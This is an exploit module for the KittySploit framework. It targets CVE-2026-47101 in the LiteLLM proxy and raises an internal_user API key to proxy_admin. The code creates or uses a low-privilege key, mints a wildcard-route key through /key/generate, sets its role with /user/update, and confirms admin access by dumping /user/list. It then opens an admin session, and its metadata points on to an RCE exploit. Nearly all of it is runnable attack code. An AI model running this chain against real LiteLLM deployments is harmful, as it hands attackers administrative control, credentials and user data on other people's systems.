LiteLLM CVE-2026-47101 proxy_admin privesc

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""LiteLLM CVE-2026-47101 internal_user to proxy_admin privilege escalation."""

from __future__ import annotations

import json
from typing import Any, Dict, Optional, Tuple

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "LiteLLM CVE-2026-47101 proxy_admin privesc",
        "description": (
            "CVE-2026-47101: an internal_user API key can call /key/generate with "
            "wildcard allowed_routes, then /user/update to escalate to proxy_admin. "
            "Supply master_key to bootstrap an internal user, or an existing user_key."
        ),
        "author": ["learner202649", "KittySploit Team"],
        "cve": ["CVE-2026-47101"],
        "platform": Platform.MULTI,
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-47101",
            "https://github.com/learner202649/CVE-2026-47101-PoC",
        ],
        "tags": ["litellm", "privesc", "llm", "cve-2026-47101"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "account_creation"],
            "expected_requests": 6,
            "reversible": False,
            "approval_required": True,
            "produces": ["credentials", "exploit_paths"],
            "requires": {"tech_hints_any": ["litellm"]},
            "chain": {
                "suggested_followups": [
                    "post/http/litellm/proxy_admin_privesc_cve_2026_47101",
                    "scanner/http/litellm_cve_2026_47101_detect",
                    "scanner/http/litellm_cve_2026_59822_detect",
                    "exploits/multi/http/litellm_cve_2026_59822_rce",
                ],
            },
        },
    }

    port = OptPort(4000, "LiteLLM proxy port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=True)
    master_key = OptString("", "Master key to create internal_user if user_key empty", required=False)
    user_key = OptString("", "Existing internal_user API key", required=False)
    user_id = OptString("", "User ID to escalate (auto-detect if empty)", required=False, advanced=True)
    confirm = OptBool(False, "Run full privesc chain (not detect-only)", required=True)

    def _api(self, method: str, path: str, token: str, body: Optional[dict] = None):
        headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
        if method.upper() == "GET":
            return self.http_request("GET", path, headers=headers, allow_redirects=False)
        return self.http_request(
            "POST",
            path,
            headers=headers,
            json=body or {},
            allow_redirects=False,
        )

    @staticmethod
    def _json(resp) -> Dict[str, Any]:
        if not resp:
            return {}
        try:
            return resp.json()
        except Exception:
            return {"raw": resp.text or ""}

    def _create_internal_user(self, master: str) -> Tuple[str, str]:
        resp = self._api("POST", "/user/new", master, {"role": "internal_user"})
        data = self._json(resp)
        if not resp or int(resp.status_code or 0) >= 300:
            raise RuntimeError(f"/user/new failed: HTTP {getattr(resp, 'status_code', '?')} {data}")
        uid = data.get("user_id") or (data.get("user") or {}).get("user_id")
        key = data.get("key") or (data.get("user") or {}).get("key")
        if not uid or not key:
            raise RuntimeError(f"Unexpected /user/new response: {data}")
        return str(uid), str(key)

    def _detect_user_id(self, token: str) -> str:
        resp = self._api("GET", "/user/info", token)
        data = self._json(resp)
        if not resp or int(resp.status_code or 0) >= 300:
            raise RuntimeError(f"/user/info failed: {data}")
        uid = data.get("user_id") or data.get("user_id_value") or (data.get("user") or {}).get("user_id")
        if not uid:
            raise RuntimeError(f"Could not parse user_id: {data}")
        return str(uid)

    def _wildcard_key(self, token: str) -> str:
        resp = self._api("POST", "/key/generate", token, {"allowed_routes": ["/*"]})
        data = self._json(resp)
        if not resp or int(resp.status_code or 0) >= 300:
            raise RuntimeError(f"/key/generate failed: {data}")
        key = data.get("key") or data.get("token") or data.get("api_key")
        if not key:
            raise RuntimeError(f"No key in /key/generate response: {data}")
        return str(key)

    def _escalate(self, wildcard: str, uid: str) -> dict:
        resp = self._api(
            "POST",
            "/user/update",
            wildcard,
            {"user_id": uid, "user_role": "proxy_admin"},
        )
        data = self._json(resp)
        if not resp or int(resp.status_code or 0) >= 300:
            raise RuntimeError(f"/user/update failed: {data}")
        return data

    def _verify_admin(self, token: str) -> dict:
        resp = self._api("GET", "/user/list", token)
        data = self._json(resp)
        if not resp or int(resp.status_code or 0) >= 300:
            raise RuntimeError(f"/user/list denied: {data}")
        return data

    def check(self):
        token = str(self.user_key or "").strip() or str(self.master_key or "").strip()
        if not token:
            return {
                "vulnerable": False,
                "reason": "Set user_key or master_key to probe LiteLLM API",
                "confidence": "low",
            }
        resp = self._api("GET", "/user/info", token)
        if resp and int(resp.status_code or 0) == 200:
            return {"vulnerable": True, "reason": "LiteLLM API accepts supplied key", "confidence": "medium"}
        return {"vulnerable": False, "reason": "LiteLLM API rejected key", "confidence": "medium"}

    def run(self):
        print_status("CVE-2026-47101 — LiteLLM proxy_admin privesc")
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Cannot reach LiteLLM API"))
            self.not_vulnerable()
            return False

        if not self.confirm:
            print_status("LiteLLM API reachable — set confirm=true to escalate and open a session")
            return False

        token = str(self.user_key or "").strip()
        uid = str(self.user_id or "").strip()
        master = str(self.master_key or "").strip()

        if not token:
            if not master:
                print_error("Provide user_key or master_key for escalation")
                return False
            print_status("Creating internal_user via master key...")
            uid, token = self._create_internal_user(master)
            print_success(f"internal_user user_id={uid}")

        if not uid:
            uid = self._detect_user_id(token)
            print_success(f"Target user_id={uid}")

        print_status("Generating wildcard-route API key...")
        wildcard = self._wildcard_key(token)
        print_success(f"Wildcard key: {wildcard}")

        print_status("Escalating to proxy_admin...")
        esc = self._escalate(wildcard, uid)
        print_info(json.dumps(esc, indent=2)[:2000])

        print_status("Verifying /user/list as proxy_admin...")
        listing = self._verify_admin(wildcard)
        print_success("Admin access confirmed on /user/list")
        print_info(json.dumps(listing, indent=2)[:4000])

        session_id = self._create_session(
            str(self.target or ""),
            int(self.port or 4000),
            "shell",
            {
                "protocol": "http",
                "service": "litellm",
                "api_key": wildcard,
                "user_id": uid,
                "role": "proxy_admin",
                "cve": "CVE-2026-47101",
            },
        )
        if not session_id:
            print_error("Privesc succeeded but session registration failed")
            return False
        print_success(f"LiteLLM admin API session: {session_id}")
        self.set_info(severity="critical", cve="CVE-2026-47101", user_id=uid, session_id=session_id)
        return True